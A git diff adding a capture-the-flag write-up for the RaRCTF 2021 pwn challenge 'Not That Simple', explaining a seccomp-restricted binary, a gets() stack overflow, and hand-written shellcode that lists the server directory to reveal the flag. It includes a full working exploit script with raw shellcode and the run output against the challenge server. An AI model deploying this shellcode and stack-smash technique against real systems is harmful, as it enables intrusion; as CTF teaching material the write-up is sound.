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Diffstat (limited to 'docs/writeups')
| -rw-r--r-- | docs/writeups/RaRCTF_2021/Not_That_Simple.txt | 214 |
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diff --git a/docs/writeups/RaRCTF_2021/Not_That_Simple.txt b/docs/writeups/RaRCTF_2021/Not_That_Simple.txt new file mode 100644 index 0000000..126e148 --- /dev/null +++ b/docs/writeups/RaRCTF_2021/Not_That_Simple.txt @@ -0,0 +1,214 @@ +"You didn't think it would be that easy... right? +NOTE: The flag is a filename in the current working directory of the server. +See the docker for reference." + +Category: pwn (250 points) +Chall author: Day? +Writeup author: malfurious + + + +Setup +----- +We are given a binary and a TCP endpoint to connect to, as well as some of the +Docker config files as mentioned in the description. A quick check on those +confirms the location of the flag as it was described: + + #!/bin/sh + service xinetd start + cd /pwn + touch FILE_6768585 FILE_5786754 FILE_76498904 FILE_6784577 FILE_eb94e79028 \ + FILE_6758838 redpwn_absorption_plan.txt \ + FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b26130... \ + rarctf{f4k3_l0c4l_fl4g} + sleep infinity + +The above is from docker/setup.sh (and is reformatted for the purposes of this +doc) showing that a file named 'rarctf{something}' is created in the process's +directory, so we know where to look for it. We won't be returning to any of the +Docker files. + + + +RE +-- +The notsimple binary has two functions of interest: main() and install_seccomp(). + +main() starts by calling install_seccomp() and printing a few strings. One of +the things printed is the address of a local stack buffer we get to populate. +Finally, gets() is called on that buffer and the program ends. + +It looks as if we have a stack-smash on our hands. checksec confirms a stack +canary is not used, and that stack execution is allowed as well. + +install_seccomp() enables some kernel system call protections using the Linux +seccomp feature via the prctl() interface. Seccomp is typically used to +explicitly allow or disallow system calls for a process in Linux (and, if a +process is allow to do so, these restrictions are inherited by fork() and +preserved by execve() and similar). Seccomp uses the Berkeley packet filter +format for syscall filters, so the library function takes this data via a buffer. +See below for a outline of the calls made by install_seccomp(): + + prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, buff, 0, 0); + + PR_SET_NO_NEW_PRIVS = 1 is a necessary step to enable seccomp, and + cannot be undone by the calling process + + PR_SET_SECCOMP/MODE_FILTER takes a buffer containing the following + structs. In our case, len = 14. A dump of the data pointed to by + *filter is also given below. + + struct sock_fprog { + unsigned short len; /* Number of BPF instructions */ + struct sock_filter *filter; /* Pointer to array of BPF instructions */ + }; + + struct sock_filter { /* Filter block */ + __u16 code; /* Actual filter code */ + __u8 jt; /* Jump true */ + __u8 jf; /* Jump false */ + __u32 k; /* Generic multiuse field */ + }; + k jfjtcode k jfjtcode + (gdb) x/14xg 0x404080 ____---- ____---- + 0x404080 <filter.2921>: 0x0000000400000020 0xc000003e0b000015 + 0x404090 <filter.2921+16>: 0x0000000000000020 0x4000000000090035 + 0x4040a0 <filter.2921+32>: 0x0000003b00080015 0x0000014200070015 + 0x4040b0 <filter.2921+48>: 0x0000010100060015 0x0000000300050015 + 0x4040c0 <filter.2921+64>: 0x0000005500040015 0x0000008600030015 + 0x4040d0 <filter.2921+80>: 0x0000003900020015 0x0000003a00010015 + 0x4040e0 <filter.2921+96>: 0x7fff000000000006 0x0000000000000006 + +This was my first real exposure to this feature of Linux, so I was not very +knowledgeable on it. Despite effort, I couldn't find anything useful online to +explain how to decode the fields of struct sock_filter, other than the fact that +several macros exist to aid with crafting these structs in the first place (1). + +Needless to say, tracing these macros out is difficult. It seems like some of +the common 'instructions' for the filter are to: validate host architecture, +catch syscalls in a switch-statement-like structure, and either die or continue, +based on the instruction of the syscall. + +I never fully decoded what syscalls are tagged in this binary. My initial +approach to the pwn (which succeeded) was to avoid the typical execve() call to +get a shell, and use getdents() (get directory entries) to 'properly' list the +directory contents. + +[and yes, experimentation confirmed execve() is disallowed by the filter.] + + + +Custom shellcode - getdents +--------------------------- +SYS_getdents() takes an open file descriptor for a directory and populates a +buffer with an array of 'struct linux_dirent's. + + long getdents(unsigned int fd, struct linux_dirent *dirp, + unsigned int count); + + struct linux_dirent { + unsigned long d_ino; /* Inode number */ + unsigned long d_off; /* Offset to next linux_dirent */ + unsigned short d_reclen; /* Length of this linux_dirent */ + char d_name[]; /* Filename (null-terminated) */ + /* length is actually (d_reclen - 2 - + offsetof(struct linux_dirent, d_name)) */ + /* + char pad; // Zero padding byte + char d_type; // File type (only since Linux + // 2.6.4); offset is (d_reclen - 1) + */ + } + +For our purposes, we don't need to loop and walk the directory properly. We can +just dump the output dirent buffer to stdout and inspect the results for ASCII +file names. This will keep the shellcode shorter. So, the plan for the +shellcode is going to be this: + + open(".", O_RDONLY | O_DIRECTORY, 0); + getdents(fd, buffer, size); + write(stdout, buffer, size); + + + +Solution +-------- +Appendix A contains my full solution. It is a script utilizing the sploit +framework found at 'tools/sploit/'. Appendix B contains the output from the +run. Nevermind the segfault... We can see among the output: + + rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515} + + + +(1) https://github.com/ahupowerdns/secfilter/blob/master/seccomp-bpf.h + + + +================================================================================ += Appendix A: sploit.py = +================================================================================ +#!/usr/bin/env python3 + +import sploitutil as util +import sploitrunner + +frame_len = 0x50 + +shellcode = ( + b"\x5F\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05" + b"\x48\x89\xC7\x5E\x48\xC7\xC2\x00\x04\x00\x00\xB0\x4E\x0F\x05\x48" + b"\xC7\xC7\x01\x00\x00\x00\x66\xB8\x01\x00\x0F\x05" + # + # 0: 5f pop rdi + # 1: 48 31 f6 xor rsi,rsi + # 4: 48 31 d2 xor rdx,rdx + # 7: 48 c7 c0 02 00 00 00 mov rax,0x2 + # e: 0f 05 syscall # fd = open(".", 0, 0) + # 10: 48 89 c7 mov rdi,rax + # 13: 5e pop rsi + # 14: 48 c7 c2 00 04 00 00 mov rdx,0x400 + # 1b: b0 4e mov al,0x4e + # 1d: 0f 05 syscall # getdents(fd, buff, 1024) + # 1f: 48 c7 c7 01 00 00 00 mov rdi,0x1 + # 26: 66 b8 01 00 mov ax,0x1 + # 2a: 0f 05 syscall # write(stdout, buff, 1024) + ) + +payloads = { + 'shellcode' : shellcode+b'\x90'*(frame_len-len(shellcode)-8), + 'canary' : util.itob(0xdeadbeef), +} + +def sploit(stdin, stdout): + c = util.Communication(stdin, stdout) + + leak_buff = c.recv().split()[3] # "Oops, I'm leaking! **0x7ffd02167bb0**" + buff_addr = int(leak_buff, 16) + dents_addr = buff_addr - 1024 # Claim stack space for buffer to getdents + c.send( + b".\x00\x00\x00\x00\x00\x00\x00" # "." directory to open + +payloads['shellcode'] + +payloads['canary'] + +util.itob(buff_addr+8) # ret to shellcode + +util.itob(buff_addr) # pop addr of "." + +util.itob(dents_addr) # pop addr of getdents data buff + +b"\n" # terminate gets input + ) + +# run sploit +sploitrunner.runsploit(sploit) + + + +================================================================================ += Appendix B: run = +================================================================================ +> ./sploit nc 193.57.159.27 46343 +['nc', '193.57.159.27', '46343'] +b"Oops, I'm leaking! 0x7ffd02167bb0\n" +b'Pwn me \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf\n' +b'> \x1b\x13\t\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\xc8\t\n' +b'\x04\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04\xb6r\x0e\x08\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6768585\x00\x08\xb8r\x0e\x08\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00 \x00FILE_5786754\x00\x08\xb9r\x0e\x08\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00(\x00FILE_76498904\x00\x00\x00\x00\x00\x00\x00\x00\x08\xbar\x0e\x08\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6784577\x00\x08\xbbr\x0e\x08\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00(\x00FILE_eb94e79028\x00\x00\x00\x00\x00\x00\x08\xbcr\x0e\x08\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6758838\x00\x08\xbdr\x0e\x08\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x000\x00redpwn_absorption_plan.txt\x00\x00\x00\x08\xber\x0e\x08\x00\x00\x00\x00\n' +b'\x00\x00\x00\x00\x00\x00\x00\xe8\x00FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b261309f8ff1183a907ca57d73fa662f8d52b2dea7986a7a195c2ae962c07d77dd8f684e7f9e5fe3ac575aafeaea1b09436ea3217d143e37584fc1d2a1e085535736fb81329fb093\x00\x08\x00\x00\x00\x00\x00\x00\x08\xbfr\x0e\x08\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00X\x00rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}\x00\x00\x08\x1c\x13\t\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00 \x00notsimple\x00\x00\x00\x00\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x8a\xa2QYq\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00+\xcdB\x02\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LR\x1b\xe1Nu\xbd\x00z\x88Yq\x7f\x00\x00\xa0B\x88Yq\x7f\x00\x00\xa0\x10@\x00\x00\x00\x00\x00I\xa4RYq\x7f\x00\x00\x00z\x88Yq\x7f\x00\x00dzRYq\x7f\x00\x00h\r\x00\x00\x00\x00\x00\x00\xb2\xbfQYq\x7f\x00\x00\xe1\xa2m\x01\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00`\x87\x88Yq\x7f\x00\x00h @\x00\x00\x00\x00\x00\xa0B\x88Yq\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00o\xcbQYq\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x16\x02\xfd\x7f\x00\x00\xa0\x10@\x00\x00\x00\x00\x00\xe0|\x16\x02\xfd\x7f\x00\x00\x84\x12@\x00\x00\x00\x00\x00Segmentation fault\n' |